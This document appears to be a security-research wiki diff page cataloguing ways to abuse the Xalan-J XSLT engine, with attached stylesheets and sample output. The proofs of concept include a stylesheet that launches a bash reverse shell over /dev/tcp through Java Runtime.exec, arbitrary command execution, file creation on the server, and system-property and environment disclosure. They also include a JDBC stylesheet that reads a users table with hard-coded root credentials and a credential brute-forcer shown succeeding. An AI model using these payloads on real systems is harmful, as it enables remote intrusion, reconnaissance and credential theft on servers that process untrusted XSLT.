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Changes for page Engine_XalanJ

Last modified by Nicolas Gregoire on 2012/01/31 17:35
From version Icon 62.1 Icon
edited by Nicolas Gregoire
on 2012/01/12 22:13
Change comment: Upload new attachment xalanj-jdbc-query.xsl
To version Icon 24.1 Icon
edited by Nicolas Gregoire
on 2012/01/11 22:22
Change comment: Upload new attachment xalanj-checkenv.xsl

Summary

Details

Icon Page properties
Content
... ... @@ -19,67 +19,84 @@
19 19  
20 20  == Special features ==
21 21  
22 -* Java properties disclosure
23 -* Java environment disclosure
24 -* Java code execution
25 -* OS command execution
26 26  * File creation
23 +* Code execution
27 27  * JDBC connectivity
25 +* Java properties
26 +* CheckEnv()
28 28  
29 -== Java properties disclosure ==
28 +== CheckEnv() ==
30 30  
31 -The xsl:system-property() standard function can be called with non standard arguments, mapped to Java properties. In this example, the name of the Java properties is stored in a separate XML file ([[properties.xml>>attach:properties.xml]]). The XSLT code will, for each property, display its name and its value.
30 +The following code will display some information about the execution context :
32 32  
33 -|=Namespace|=Function|=PoC|=Sample output
34 -|http:~/~/www.w3.org/1999/XSL/Transform|system-property()|[[xalanj-java-properties.xsl>>attach:xalanj-java-properties.xsl]]|[[xalanj-java-properties-output.txt>>attach:xalanj-java-properties-output.txt]]
32 +[[checkenv.xsl>>attach:checkenv.xsl]]
35 35  
36 -== Java environment disclosure ==
34 +TODO
37 37  
38 -The checkEnvironment() extension function (documented [[here>>http://xml.apache.org/xalan-j/faq.html#faq-N10064||rel="__blank"]]) will display some information about the execution context (including available packages, paths, versions, ...).
36 +=== Code ===
39 39  
40 -|=Namespace|=Extension function|=PoC|=Sample output
41 -|http:~/~/xml.apache.org/xalan|checkEnvironment()|[[xalanj-checkenv.xsl>>attach:xalanj-checkenv.xsl]]|[[xalanj-checkenv-output.txt>>attach:xalanj-checkenv-output.txt]]
38 +##<?xml version="1.0"?>
39 +<xsl:stylesheet xmlns:xsl="http:~/~/www.w3.org/1999/XSL/Transform"
40 + xmlns:xalan="http:~/~/xml.apache.org/xalan"
41 + exclude-result-prefixes="xalan"
42 + version="1.0">##
42 42  
43 -== Java code execution ==
44 + <xsl:output indent="yes"/>
45 + <xsl:template match="/">
46 + (% style="color:red" %)<xsl:copy-of select="xalan:checkEnvironment()"/>
44 44  
45 -The attached code will display the current date using a newly created "java.util.Date" object. This should be enough to demonstrate Java code execution.
48 + </xsl:template>
49 +\\</xsl:stylesheet>
46 46  
47 -|=Namespace|=Extension function|=PoC|=Sample output
48 -|http:~/~/xml.apache.org/xalan/java/java.util.Date|new()|[[xalanj-java-date.xsl>>attach:xalanj-java-date.xsl]]|Current date:
49 -Wed Jan 11 22:45:07 CET 2012
51 +=== Output ===
50 50  
51 -== OS command execution ==
53 +<?xml version="1.0" encoding="UTF-8"?><checkEnvironmentExtension>
54 +<EnvironmentCheck version="$Revision$">
55 +<environment>
56 +<item key="version.DOM.draftlevel">2.0fd</item>
57 +<item key="java.class.path">:/usr/share/java/xalan2.jar:/usr/share/java/xml-apis.jar:/usr/share/java/xercesImpl.jar:/usr/share/java/xalan25.jar:/usr/share/java/bsf-2.4.0.jar</item>
58 +<item key="version.JAXP">1.1 or higher</item>
59 +<item key="java.ext.dirs">/usr/lib/jvm/java-6-openjdk/jre/lib/ext:/usr/java/packages/lib/ext</item>
60 +<item key="version.xerces2">Xerces-J 2.9.1</item>
61 +<item key="version.xerces1">not-present</item>
62 +<item key="version.xalan2_2">Xalan Java 2.7.1</item>
63 +<item key="version.xalan1">not-present</item>
64 +<item key="version.ant">not-present</item>
65 +<item key="java.version">1.6.0_20</item>
66 +<item key="version.DOM">2.0</item>
67 +<item key="version.crimson">not-present</item>
68 +<item key="sun.boot.class.path">/usr/lib/jvm/java-6-openjdk/jre/lib/resources.jar:/usr/lib/jvm/java-6-openjdk/jre/lib/rt.jar:/usr/lib/jvm/java-6-openjdk/jre/lib/sunrsasign.jar:/usr/lib/jvm/java-6-openjdk/jre/lib/jsse.jar:/usr/lib/jvm/java-6-openjdk/jre/lib/jce.jar:/usr/lib/jvm/java-6-openjdk/jre/lib/charsets.jar:/usr/lib/jvm/java-6-openjdk/jre/lib/netx.jar:/usr/lib/jvm/java-6-openjdk/jre/lib/plugin.jar:/usr/lib/jvm/java-6-openjdk/jre/lib/rhino.jar:/usr/lib/jvm/java-6-openjdk/jre/lib/modules/jdk.boot.jar:/usr/lib/jvm/java-6-openjdk/jre/classes</item>
69 +<foundJar desc="apis.jar-apparent.version" name="xml">xml-apis.jar present-unknown-version</foundJar>
70 +<foundJar desc="apis.jar-path" name="xml">/usr/share/java/xml-apis.jar</foundJar>
71 +<foundJar desc="apparent.version" name="xercesImpl.jar">xercesImpl.jar WARNING.present-unknown-version</foundJar>
72 +<foundJar desc="path" name="xercesImpl.jar">/usr/share/java/xercesImpl.jar</foundJar>
73 +<item key="version.SAX">2.0</item>
74 +<item key="version.xalan2x">Xalan Java 2.7.1</item>
75 +</environment>
76 +<status result="OK"/>
77 +</EnvironmentCheck>
78 +</checkEnvironmentExtension>
52 52  
53 -Once Java code execution is possible, it is trivial to execute arbitrary OS commands using the java.lang.Runtime class. The attached PoC will not read the output of the executed command (because loops are hard in XSLT). But this is not a problem if a reverse-shell have already been started, isn't it ;-)
80 +== Java code execution ==
54 54  
55 -|=Namespace|=Extension functions|=PoC
56 -|http:~/~/xml.apache.org/xalan/java|split(), getRuntime(), exec() and toString()|[[xalanj-reverse-bash.xsl>>attach:xalanj-reverse-bash.xsl]]
82 +The following code will display the current date :
57 57  
58 -__Note__ : as arrays are not a native type in XSLT, we create one in Java via split() before passing it as an argument to [[exec(String[] cmdarray)>>http://docs.oracle.com/javase/1.4.2/docs/api/java/lang/Runtime.html#exec(java.lang.String[])||rel="__blank"]].
84 +TODO
59 59  
60 -== File creation ==
86 +== Execution of external commands ==
61 61  
62 -The "write" extension element allows to create files on the engine side. The content written to the file must be valid UTF-8 (so plain ASCII works too). Existing files can be overwritten.
88 +The following code will execute the command "touch /tmp/hello" :
63 63  
64 -|=Namespace|=Extension element|=Parameter|=PoC
65 -|http:~/~/xml.apache.org/xalan/redirect|write|file|[[xalanj-write.xsl>>attach:xalanj-write.xsl]]
66 -
67 -== JDBC connectivity ==
68 -
69 -It is possible to use XSLT to connect to any database having a corresponding installed JDBC driver. The [[xalanj-jdbc-query.xsl>>attach:xalanj-jdbc-query.xsl]] PoC simply connects to a local MySQL database using some hard-coded credentials, executes a query and displays the result.
70 -
71 -|=Namespace|=Extension function|=PoC
72 -|org.apache.xalan.lib.sql.XConnection|new(), query() and close()|[[xalanj-jdbc-query.xsl>>attach:xalanj-jdbc-query.xsl]]
73 -
74 -=== Brute-force ===
75 -
76 -The [[xalanj-jdbc-bruteforce.xsl>>attach:xalanj-jdbc-bruteforce.xsl]] file will read some tuples (JDBC driver, database URL, username, passsword) from a XML file ([[xalanj-jdbc-bruteforce.xml>>attach:xalanj-jdbc-bruteforce.xml]]) and try to login with each one, effectively brute-forcing credentials from the engine side (usually on the backend ;-).
77 -
78 -
79 -Here's the output when launched from the CLI :
80 -
81 -##$> java org.apache.xalan.xslt.Process -in xalanj-jdbc-bruteforce.xml -xsl xalanj-jdbc-bruteforce.xsl 2> /dev/null
82 -Username : [root] / Password : [] :
83 -Username : [root] / Password : [uberpasswd] :
84 -Username : [root] / Password : [cnam] : OK !!
85 -Username : [pma] / Password : [pma] : ##
90 +<?xml version="1.0"?>
91 +<xsl:stylesheet xmlns:xsl="http:~/~/www.w3.org/1999/XSL/Transform"
92 + xmlns:j="http:~/~/xml.apache.org/xalan/java"
93 + exclude-result-prefixes="j"
94 + version="1.0">
95 + <xsl:template match="/">
96 + <xsl:variable name="c"><![CDATA[touch = /tmp/hello]]></xsl:variable>
97 + <xsl:variable name="a" select="j:split($c, ' = ')"/>
98 + <xsl:variable name="r" select="j:java.lang.Runtime.getRuntime()"/>
99 + <xsl:variable name="p" select="j:exec($r, $a )"/>
100 + No content at the moment ...
101 + </xsl:template>
102 +</xsl:stylesheet>
Icon properties.xml
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1 -<properties>
2 -<property>awt.toolkit</property>
3 -<property>browser</property>
4 -<property>browser.vendor</property>
5 -<property>browser.version</property>
6 -<property>file.encoding</property>
7 -<property>file.encoding.pkg</property>
8 -<property>file.separator</property>
9 -<property>file.separator.applet</property>
10 -<property>http.agent</property>
11 -<property>java.awt.graphicsenv</property>
12 -<property>java.awt.printerjob</property>
13 -<property>java.class.path</property>
14 -<property>java.class.version</property>
15 -<property>java.class.version.applet</property>
16 -<property>java.endorsed.dirs</property>
17 -<property>java.ext.dirs</property>
18 -<property>java.home</property>
19 -<property>java.io.tmpdir</property>
20 -<property>java.library.path</property>
21 -<property>java.runtime.name</property>
22 -<property>java.runtime.version</property>
23 -<property>java.specification.name</property>
24 -<property>java.specification.vendor</property>
25 -<property>java.specification.version</property>
26 -<property>java.vendor</property>
27 -<property>java.vendor.applet</property>
28 -<property>java.vendor.url</property>
29 -<property>java.vendor.url.applet</property>
30 -<property>java.vendor.url.bug</property>
31 -<property>java.version</property>
32 -<property>java.version.applet</property>
33 -<property>java.vm.info</property>
34 -<property>java.vm.name</property>
35 -<property>java.vm.specification.name</property>
36 -<property>java.vm.specification.vendor</property>
37 -<property>java.vm.specification.version</property>
38 -<property>java.vm.vendor</property>
39 -<property>java.vm.version</property>
40 -<property>javax.accessibility.assistive_technologies</property>
41 -<property>line.separator</property>
42 -<property>line.separator.applet</property>
43 -<property>os.arch</property>
44 -<property>os.arch.applet</property>
45 -<property>os.name</property>
46 -<property>os.name.applet</property>
47 -<property>os.version</property>
48 -<property>os.version.applet</property>
49 -<property>package.restrict.definition.java</property>
50 -<property>package.restrict.definition.sun</property>
51 -<property>path.separator</property>
52 -<property>path.separator.applet</property>
53 -<property>sun.arch.data.model</property>
54 -<property>sun.boot.class.path</property>
55 -<property>sun.boot.library.path</property>
56 -<property>sun.cpu.endian</property>
57 -<property>sun.cpu.isalist</property>
58 -<property>sun.desktop</property>
59 -<property>sun.io.unicode.encoding</property>
60 -<property>sun.java.launcher</property>
61 -<property>sun.jnu.encoding</property>
62 -<property>sun.management.compiler</property>
63 -<property>sun.os.patch.level</property>
64 -<property>user.country</property>
65 -<property>user.dir</property>
66 -<property>user.home</property>
67 -<property>user.language</property>
68 -<property>user.name</property>
69 -<property>user.timezone</property>
70 -<property>user.variant</property>
71 -<property>user.zoneinfo.dir</property>
72 -</properties>
73 -
Icon xalanj-checkenv-output.txt
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1 -<?xml version="1.0" encoding="UTF-8"?><checkEnvironmentExtension>
2 - <EnvironmentCheck version="$Revision$">
3 - <environment>
4 - <item key="version.DOM.draftlevel">2.0fd</item>
5 - <item key="java.class.path">/usr/share/java/xalan2.jar:/usr/share/java/xml-apis.jar:/usr/share/java/xercesImpl.jar:/usr/share/java/serializer.jar:/usr/share/java/xsltc.jar</item>
6 - <item key="version.JAXP">1.1 or higher</item>
7 - <item key="java.ext.dirs">/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/ext:/usr/java/packages/lib/ext</item>
8 - <item key="version.xerces2">Xerces-J 2.9.1</item>
9 - <item key="version.xerces1">not-present</item>
10 - <item key="version.xalan2_2">Xalan Java 2.7.1</item>
11 - <item key="version.xalan1">not-present</item>
12 - <item key="version.ant">not-present</item>
13 - <item key="java.version">1.6.0_26</item>
14 - <item key="version.DOM">2.0</item>
15 - <item key="version.crimson">not-present</item>
16 - <item key="sun.boot.class.path">/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/resources.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/rt.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/sunrsasign.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/jsse.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/jce.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/charsets.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/modules/jdk.boot.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/classes</item>
17 - <foundJar desc="apis.jar-apparent.version" name="xml">xml-apis.jar present-unknown-version</foundJar>
18 - <foundJar desc="apis.jar-path" name="xml">/usr/share/java/xml-apis.jar</foundJar>
19 - <foundJar desc="apparent.version" name="xercesImpl.jar">xercesImpl.jar WARNING.present-unknown-version</foundJar>
20 - <foundJar desc="path" name="xercesImpl.jar">/usr/share/java/xercesImpl.jar</foundJar>
21 - <foundJar desc="apparent.version" name="serializer.jar">serializer.jar present-unknown-version</foundJar>
22 - <foundJar desc="path" name="serializer.jar">/usr/share/java/serializer.jar</foundJar>
23 - <foundJar desc="apparent.version" name="xsltc.jar">xsltc.jar present-unknown-version</foundJar>
24 - <foundJar desc="path" name="xsltc.jar">/usr/share/java/xsltc.jar</foundJar>
25 - <item key="version.SAX">2.0</item>
26 - <item key="version.xalan2x">Xalan Java 2.7.1</item>
27 - </environment>
28 - <status result="OK"/>
29 - </EnvironmentCheck>
30 -</checkEnvironmentExtension>
31 -
Icon xalanj-java-date.xsl
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1 -<xsl:stylesheet version="1.0"
2 - xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
3 - xmlns:date="http://xml.apache.org/xalan/java/java.util.Date"
4 - exclude-result-prefixes="date">
5 - <xsl:output method="text"/>
6 - <xsl:template match="/">
7 - <xsl:variable name="dateObject" select="date:new()"/>
8 - <xsl:text>Current date: </xsl:text><xsl:value-of select="$dateObject"/>
9 - </xsl:template>
10 -</xsl:stylesheet>
11 -
Icon xalanj-java-properties-output.txt
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1 -<?xml version="1.0" encoding="UTF-8"?>
2 -awt.toolkit:
3 -browser:
4 -browser.vendor:
5 -browser.version:
6 -file.encoding: UTF-8
7 -file.encoding.pkg: sun.io
8 -file.separator: /
9 -file.separator.applet:
10 -http.agent:
11 -java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
12 -java.awt.printerjob: sun.print.PSPrinterJob
13 -java.class.path: /usr/share/java/xalan2.jar:/usr/share/java/xml-apis.jar:/usr/share/java/xercesImpl.jar:/usr/share/java/serializer.jar:/usr/share/java/xsltc.jar
14 -java.class.version: 50.0
15 -java.class.version.applet:
16 -java.endorsed.dirs: /usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/endorsed
17 -java.ext.dirs: /usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/ext:/usr/java/packages/lib/ext
18 -java.home: /usr/lib/jvm/java-6-sun-1.6.0.26/jre
19 -java.io.tmpdir: /tmp
20 -java.library.path: /usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/i386/client:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/i386:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/../lib/i386:/usr/java/packages/lib/i386:/lib:/usr/lib
21 -java.runtime.name: Java(TM) SE Runtime Environment
22 -java.runtime.version: 1.6.0_26-b03
23 -java.specification.name: Java Platform API Specification
24 -java.specification.vendor: Sun Microsystems Inc.
25 -java.specification.version: 1.6
26 -java.vendor: Sun Microsystems Inc.
27 -java.vendor.applet:
28 -java.vendor.url: http://java.sun.com/
29 -java.vendor.url.applet:
30 -java.vendor.url.bug: http://java.sun.com/cgi-bin/bugreport.cgi
31 -java.version: 1.6.0_26
32 -java.version.applet:
33 -java.vm.info: mixed mode, sharing
34 -java.vm.name: Java HotSpot(TM) Client VM
35 -java.vm.specification.name: Java Virtual Machine Specification
36 -java.vm.specification.vendor: Sun Microsystems Inc.
37 -java.vm.specification.version: 1.0
38 -java.vm.vendor: Sun Microsystems Inc.
39 -java.vm.version: 20.1-b02
40 -javax.accessibility.assistive_technologies:
41 -line.separator:
42 -
43 -line.separator.applet:
44 -os.arch: i386
45 -os.arch.applet:
46 -os.name: Linux
47 -os.name.applet:
48 -os.version: 2.6.32-37-generic
49 -os.version.applet:
50 -package.restrict.definition.java:
51 -package.restrict.definition.sun:
52 -path.separator: :
53 -path.separator.applet:
54 -sun.arch.data.model: 32
55 -sun.boot.class.path: /usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/resources.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/rt.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/sunrsasign.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/jsse.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/jce.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/charsets.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/modules/jdk.boot.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/classes
56 -sun.boot.library.path: /usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/i386
57 -sun.cpu.endian: little
58 -sun.cpu.isalist:
59 -sun.desktop: gnome
60 -sun.io.unicode.encoding: UnicodeLittle
61 -sun.java.launcher: SUN_STANDARD
62 -sun.jnu.encoding: UTF-8
63 -sun.management.compiler: HotSpot Client Compiler
64 -sun.os.patch.level: unknown
65 -user.country: FR
66 -user.dir: /home/bob/foobar
67 -user.home: /home/bob
68 -user.language: fr
69 -user.name: bob
70 -user.timezone:
71 -user.variant:
72 -user.zoneinfo.dir:
73 -
Icon xalanj-java-properties.xsl
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1 -xwiki:XWiki.NicolasGregoire
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1 -<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" >
2 - <xsl:template match="//property">
3 - <xsl:variable name="p" select="text()"/>
4 - <xsl:value-of select="$p"/>: <xsl:value-of select="system-property($p)"/>
5 - </xsl:template>
6 -</xsl:stylesheet>
7 -
Icon xalanj-jdbc-query.xsl
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1 -<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
2 - xmlns:sql="org.apache.xalan.lib.sql.XConnection"
3 - extension-element-prefixes="sql"
4 - version="1.0">
5 -
6 -<xsl:output method="xml" indent="yes"/>
7 -
8 -<xsl:param name="driver" select="'com.mysql.jdbc.Driver'"/>
9 -<xsl:param name="dburl" select="'jdbc:mysql://localhost/test_db'"/>
10 -<xsl:param name="user" select="'root'"/>
11 -<xsl:param name="pass" select="'14m31337'"/>
12 -<xsl:param name="query" select="'SELECT uid,username,passwd FROM users'"/>
13 -
14 -<xsl:template match="/">
15 - <xsl:variable name="dbh" select="sql:new($driver, $dburl, $user, $pass)"/>
16 - <xsl:variable name="table" select='sql:query($dbh, $query)'/>
17 - <xsl:copy-of select="$table" />
18 - <xsl:value-of select="sql:close($db)"/>
19 -</xsl:template>
20 -
21 -</xsl:stylesheet>
22 -
Icon xalanj-reverse-bash.xsl
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1 -xwiki:XWiki.NicolasGregoire
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1 -<xsl:stylesheet
2 - xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
3 - xmlns:jv="http://xml.apache.org/xalan/java"
4 - exclude-result-prefixes="jv"
5 - version="1.0">
6 -
7 - <xsl:template match="/">
8 -
9 - <xsl:variable name="test"><![CDATA[/bin/bash ==== -c ==== /bin/bash 7<>/dev/tcp/127.0.0.1/4444 <&7 >&7]]></xsl:variable>
10 - <xsl:variable name="a" select="jv:split($test, ' ==== ')"/>
11 - <xsl:variable name="rtobject" select="jv:java.lang.Runtime.getRuntime()"/>
12 - <xsl:variable name="process" select="jv:exec($rtobject, $a )"/>
13 -
14 -Objet "String" :
15 - <xsl:value-of select="$test"/>
16 -
17 -Objet "Array" :
18 - <xsl:variable name="aAsString" select="jv:toString($a)"/>
19 - <xsl:value-of select="$aAsString"/>
20 -
21 -Objet "Runtime" :
22 - <xsl:variable name="rtobjectAsString" select="jv:toString($rtobject)"/>
23 - <xsl:value-of select="$rtobjectAsString"/>
24 -
25 -Objet "Process" :
26 - <xsl:variable name="processAsString" select="jv:toString($process)"/>
27 - <xsl:value-of select="$processAsString"/>
28 -
29 - </xsl:template>
30 -</xsl:stylesheet>
31 -
Icon xalanj-write.xsl
Author
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1 -xwiki:XWiki.NicolasGregoire
Size
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1 -373 bytes
Content
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1 -<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
2 - xmlns:redir="http://xml.apache.org/xalan/redirect"
3 - extension-element-prefixes="redir"
4 - version='1.0'>
5 -
6 - <xsl:template match="/">
7 - <redir:write file="/tmp/created_by_xalanj_write" method="text">
8 - <xsl:text>Just a PoC</xsl:text>
9 - </redir:write>
10 - </xsl:template>
11 -
12 -</xsl:stylesheet>
13 -